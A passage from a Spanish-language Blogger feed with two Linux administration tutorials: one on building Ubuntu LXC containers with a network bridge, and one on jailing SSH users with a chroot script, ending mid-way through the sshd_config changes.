none"&gt;Configuraciones a realizar:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="text-decoration: none"&gt;Cambio password de root.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="text-decoration: none"&gt;Actualizacion del sistema  Operativo.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Entrar al template descargado y copiar los siguientes archivos:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#cd /mnt/lxc/templates/rootfs-ubuntu-11.04/&lt;/span&gt;&lt;/p&gt; &lt;p style="color: rgb(153, 0, 0);"&gt;&lt;span style="text-decoration: none;font-size:85%;" &gt;#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;cp -r /etc/resolv.conf ./etc&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Luego hacer chroot dentro del template descargado:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#chroot /mnt/lxc/templates/rootfs-ubuntu-11.04/&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;Que hace chroot ? &lt;a&gt;R://&lt;/a&gt; &lt;a href="http://es.wikipedia.org/wiki/Chroot"&gt;Aquí&lt;/a&gt;&lt;/p&gt;  &lt;p style="text-decoration: none"&gt;Al ejecutar chroot quedas dentro del sistema operativo template, y los cambios que realices solo se veran reflejados dentro del template, y no en el sistema real.  &lt;/p&gt;  &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Editar el archivo de configuracion del sitema de paquetes apt para hacer la actualizacion de paquetes:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;-Template-#vi /etc/apt/sources.list&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;Agregar las siguientes lineas:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;deb http://us.archive.ubuntu.com/ubuntu/ natty main restricted&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;deb-src http://us.archive.ubuntu.com/ubuntu/ natty main restricted&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;deb http://us.archive.ubuntu.com/ubuntu/ natty universe&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;deb-src http://us.archive.ubuntu.com/ubuntu/ natty universe&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;deb http://us.archive.ubuntu.com/ubuntu/ natty-updates universe&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;deb-src http://us.archive.ubuntu.com/ubuntu/ natty-updates universe&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;deb http://us.archive.ubuntu.com/ubuntu/ natty multiverse&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;deb-src http://us.archive.ubuntu.com/ubuntu/ natty multiverse&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;deb http://us.archive.ubuntu.com/ubuntu/ natty-updates multiverse&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;deb-src http://us.archive.ubuntu.com/ubuntu/ natty-updates multiverse&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Actualizamos los repositorios del template:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;-Template-#apt-get update&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Luego actualizamos el sistema del template:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;-Template-#apt-get upgrade&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;span style="font-weight: bold;"&gt;NOTA:&lt;/span&gt; Al actualizar el sistema, nos imprimirá un error que tiene que ver con Bind9, dicho error es por que el template aun no tiene un IP real, lo cual deben hacer caso omiso a ello.&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Colocamos a que el servicio de OpenSSH inicie automáticamente cuando la el template inicie o entre en funcionamiento:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;-Template-#update-rc.d ssh defaults&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Cambiar el password de root del template:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;-Template-#passwd  &lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;XXXXX&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;XXXXX&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Configurar el idioma del sistema template llamado LOCALE:  &lt;/p&gt; &lt;p style="color: rgb(153, 0, 0);"&gt;&lt;span style="text-decoration: none;font-size:85%;" &gt;-Template-#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;apt-get install --force-yes -y gpgv&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;-Template-#apt-get update&lt;/span&gt;&lt;/p&gt; &lt;p style="color: rgb(153, 0, 0);"&gt;&lt;span style="text-decoration: none;font-size:85%;" &gt;-Template-#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;apt-get -y install language-pack-en&lt;/span&gt;&lt;/p&gt; &lt;p style="color: rgb(153, 0, 0);"&gt;&lt;span style="text-decoration: none;font-size:85%;" &gt;-Template-#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;locale-gen en_US.UTF-8&lt;/span&gt;&lt;/p&gt; &lt;p style="color: rgb(153, 0, 0);"&gt;&lt;span style="text-decoration: none;font-size:85%;" &gt;-Template-#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;/usr/sbin/update-locale LANG="en_US.UTF-8" LANGUAGE="en_US.UTF-8" LC_ALL="en_US.UTF-8" LC_CTYPE="C"&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Salir del chroot, y volver a la maquina real:&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;-Template-#exit&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Configurar la tarjeta de red del sistema Operativo como Bridge, para así darle IP a cada Container que creemos:  &lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Instalar el soporte para Birdge:  &lt;/p&gt; &lt;p style="color: rgb(153, 0, 0);"&gt;&lt;span style="text-decoration: none;font-size:85%;" &gt;#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;apt-get install bridge-utils  &lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Editar el siguiente archivo:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#vi /etc/network/interfaces&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;El archivo debe quedar de la siguiente manera:  &lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;span style="font-weight: bold;"&gt;NOTA:&lt;/span&gt; tener en cuenta que la maquina esta usando una interfaz eth0, en caso de no ser asi cambiar el valor bridge_port  con la interfaz que estes usando.&lt;/p&gt;&lt;p style="text-decoration: none; font-weight: bold;"&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: normal;font-size:85%;" &gt;auto lo&lt;br /&gt;iface lo inet loopback&lt;br /&gt;&lt;br /&gt;# The primary network interface&lt;br /&gt;auto br0&lt;br /&gt;iface br0 inet static&lt;br /&gt;address 192.168.188.160&lt;br /&gt;netmask 255.255.255.0&lt;br /&gt;gateway 192.168.188.1&lt;br /&gt;bridge_ports eth0&lt;br /&gt;bridge_stp off&lt;br /&gt;bridge_maxwait 5&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-decoration: none; font-weight: bold;"&gt;Reiniciar la maquina para que tome los cambios:  &lt;/p&gt;  &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#reboot&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Creación archivos de configuración de nuestro container de prueba.&lt;/span&gt;&lt;/p&gt;&lt;p style="text-decoration: none;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="text-decoration: none;font-size:85%;" &gt;#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;vi /mnt/lxc/config/vm01.conf&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;Agregar las siguientes lineas:  &lt;/p&gt; &lt;p style="text-decoration: none;"&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;lxc.utsname = vm01&lt;br /&gt;lxc.tty = 4&lt;br /&gt;lxc.network.type = veth&lt;br /&gt;lxc.network.flags = up&lt;br /&gt;lxc.network.link = br0&lt;br /&gt;lxc.network.name = eth0&lt;br /&gt;lxc.network.mtu = 1500&lt;br /&gt;lxc.network.ipv4 = 192.168.0.2/24&lt;br /&gt;lxc.rootfs = /mnt/lxc/os/vm01/rootfs-ubuntu-11.04&lt;br /&gt;lxc.mount = /mnt/lxc/os/vm01/fstab&lt;br /&gt;lxc.cgroup.devices.deny = a&lt;br /&gt;# /dev/null and zero&lt;br /&gt;lxc.cgroup.devices.allow = c 1:3 rwm&lt;br /&gt;lxc.cgroup.devices.allow = c 1:5 rwm&lt;br /&gt;# consoles&lt;br /&gt;lxc.cgroup.devices.allow = c 5:1 rwm&lt;br /&gt;lxc.cgroup.devices.allow = c 5:0 rwm&lt;br /&gt;lxc.cgroup.devices.allow = c 4:0 rwm&lt;br /&gt;lxc.cgroup.devices.allow = c 4:1 rwm&lt;br /&gt;# /dev/{,u}random&lt;br /&gt;lxc.cgroup.devices.allow = c 1:9 rwm&lt;br /&gt;lxc.cgroup.devices.allow = c 1:8 rwm&lt;br /&gt;# /dev/pts/* - pts namespaces are "coming soon"&lt;br /&gt;lxc.cgroup.devices.allow = c 136:* rwm&lt;br /&gt;lxc.cgroup.devices.allow = c 5:2 rwm&lt;br /&gt;# rtc&lt;br /&gt;lxc.cgroup.devices.allow = c 254:0 rwm&lt;/span&gt;&lt;/p&gt;&lt;p style="text-decoration: none;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Administración de los containers o maquinas virtualizadas&lt;/span&gt;&lt;/p&gt;&lt;p style="text-decoration: none"&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Crear un contenedor o una maquina virtual:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#lxc-create -f /mnt/lxc/config/vm01.conf&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Listar los contenedores creador:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#lxc-ls&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Mirar el estado de un contenedor:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#lxc-info -n vm01  &lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Inicializar un contenedor o maquina virtual:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#lxc-start -d -n vm01  &lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Apagrar un contenedor o maquina virtual:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#lxc-stop -n vm01  &lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Acceder al contenedor:  &lt;/p&gt; &lt;p style="text-decoration: none"&gt;Para acceder al contenedor, se debe hacer por medio de SSH.  &lt;/p&gt;  &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ssh -l root 192.168.0.2&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;Password: &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;XXXXX&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Eliminar un contenedor:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#lxc-destroy -n vm01  &lt;/span&gt;&lt;/p&gt;  &lt;p style="text-decoration: none; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;Configurar LXC para que cuando inicie el servidor, inicie los contenedores automáticamente.  &lt;/span&gt; &lt;/p&gt;&lt;p style="text-decoration: none;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-decoration: none; font-weight: bold;"&gt;Editar el siguiente archivo:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#vi /etc/default/lxc&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Habilitar la linea :&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;RUN=yes&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Setear el directorio done están los .conf de los contenedores:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;CONF_DIR=/mnt/lxc/config/&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Setear cuales contenedores van a iniciar, separados por espacio en caso de ser varios:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;CONTAINERS=”vm01”&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Luego reiniciar el servicio de LXC:&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#/etc/init.d/lxc restart&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-decoration: none;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-decoration: none;"&gt;Dudas, inquietudes y reclamos .. en los comentarios ..&lt;br /&gt;&lt;/p&gt;&lt;p style="text-decoration: none;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-decoration: none"&gt;Gracias !!&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-8635607670767335270?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/8635607670767335270/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/lxc-linux-containers.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8635607670767335270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8635607670767335270'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/lxc-linux-containers.html' title='LXC - Linux Containers'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-2495419772293267371</id><published>2011-10-23T04:19:00.000-07:00</published><updated>2011-10-23T04:20:33.803-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openssh'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>SSH Enjaulado</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-kJxjBgAdTOo/TqP1jG-YWEI/AAAAAAAABZc/2u189VIJeJ0/s1600/openssh_logo.jpg.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 194px; height: 191px;" src="http://2.bp.blogspot.com/-kJxjBgAdTOo/TqP1jG-YWEI/AAAAAAAABZc/2u189VIJeJ0/s320/openssh_logo.jpg.png" alt="" id="BLOGGER_PHOTO_ID_5666642739678697538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-ogkNDX8LwdI/TqP1btO5KkI/AAAAAAAABZQ/ifM8IJC5-7k/s1600/OpenSSH_logo.png"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;&lt;/style&gt;Saludos ..   &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;span style="font-weight: bold;"&gt;Paso #1 &lt;/span&gt;&lt;span style="font-style: italic;"&gt;“Descarga de script para hacer el Enjaulado automático y ligero”:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;a href="http://www.fuschlberger.net/programs/ssh-scp-sftp-chroot-jail/"&gt;http://www.fuschlberger.net/programs/ssh-scp-sftp-chroot-jail/&lt;/a&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;En esta web encuentran un script que se llama &lt;a href="http://www.fuschlberger.net/programs/ssh-scp-sftp-chroot-jail/make_chroot_jail.sh"&gt;make_chroot_jail.sh &lt;/a&gt;el cual hace todo el proceso de crear la jaula para los usuario que queramos.&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none; font-weight: bold;"&gt;Descargar desde terminal:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#wget &lt;a href="http://www.fuschlberger.net/programs/ssh-scp-sftp-chroot-jail/make_chroot_jail.sh"&gt;http://www.fuschlberger.net/programs/ssh-scp-sftp-chroot-jail/make_chroot_jail.sh&lt;/a&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt; &lt;span style="font-weight: bold;"&gt;Paso #2&lt;/span&gt; &lt;span style="font-style: italic;"&gt;“Ejecutar el script”:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;Antes de ejecutar el script, debemos de tener en mente donde va a quedar la jaula o el sistema raíz que queremos emular, y que shell va a usar el usuario cuando se logee; en este ejemplo tomamos los siguiente valores:  &lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;span style="font-weight: bold;"&gt;Jaula =&lt;/span&gt; /home/jail&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;span style="font-weight: bold;"&gt;Shell = &lt;/span&gt;/bin/bash&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; font-weight: bold;"&gt;Ejemplo de Ejecución:  &lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; font-style: italic; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#./make_chroot_jail.sh  USER  SHELL  JAULA&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; font-weight: bold;"&gt;Ejecución:&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#./make_chroot_jail.sh user_x  /bin/bash  /home/jail&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;Al ejecutarlo nos imprime lo siguiente; donde escribimos “&lt;span style="font-weight: bold;"&gt;yes&lt;/span&gt;” y luego "&lt;span style="font-weight: bold;"&gt;Enter&lt;/span&gt;":&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;Are you sure you want to overwrite it?&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;(you want to say yes for example if you are running the script for the second&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;time when adding more than one account to the jail)&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;(yes/no) -&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; yes&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;Luego Nos pide el password del usuario, el cual estamos creando al mismo tiempo en el sistema:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;Please use a combination of upper and lower case letters and numbers.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;New password:&lt;span style="color: rgb(204, 0, 0);"&gt;xxxxxxxx&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;Re-enter new password: &lt;span style="color: rgb(204, 0, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;xxxxxxxx&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;passwd: password changed.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;span style="font-weight: bold;"&gt;Paso #3&lt;/span&gt; &lt;span style="font-style: italic;"&gt;“Configurar el ssh para que haga el chroot automático”:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;Editar el archivo &lt;span style="font-weight: bold;"&gt;/etc/ssh/sshd_config&lt;/span&gt;:&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;#vi /etc/ssh/sshd_config&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; font-style: italic;"&gt;Comentar la linea:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;#&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;Subsystem    sftp /usr/libexec/sftp-server&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;y  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none; font-style: italic;"&gt;Agregar las siguientes lineas:  &lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;Subsystem sftp internal-sftp&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt; &lt;/span&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;Match User &lt;span style="color: rgb(204, 0, 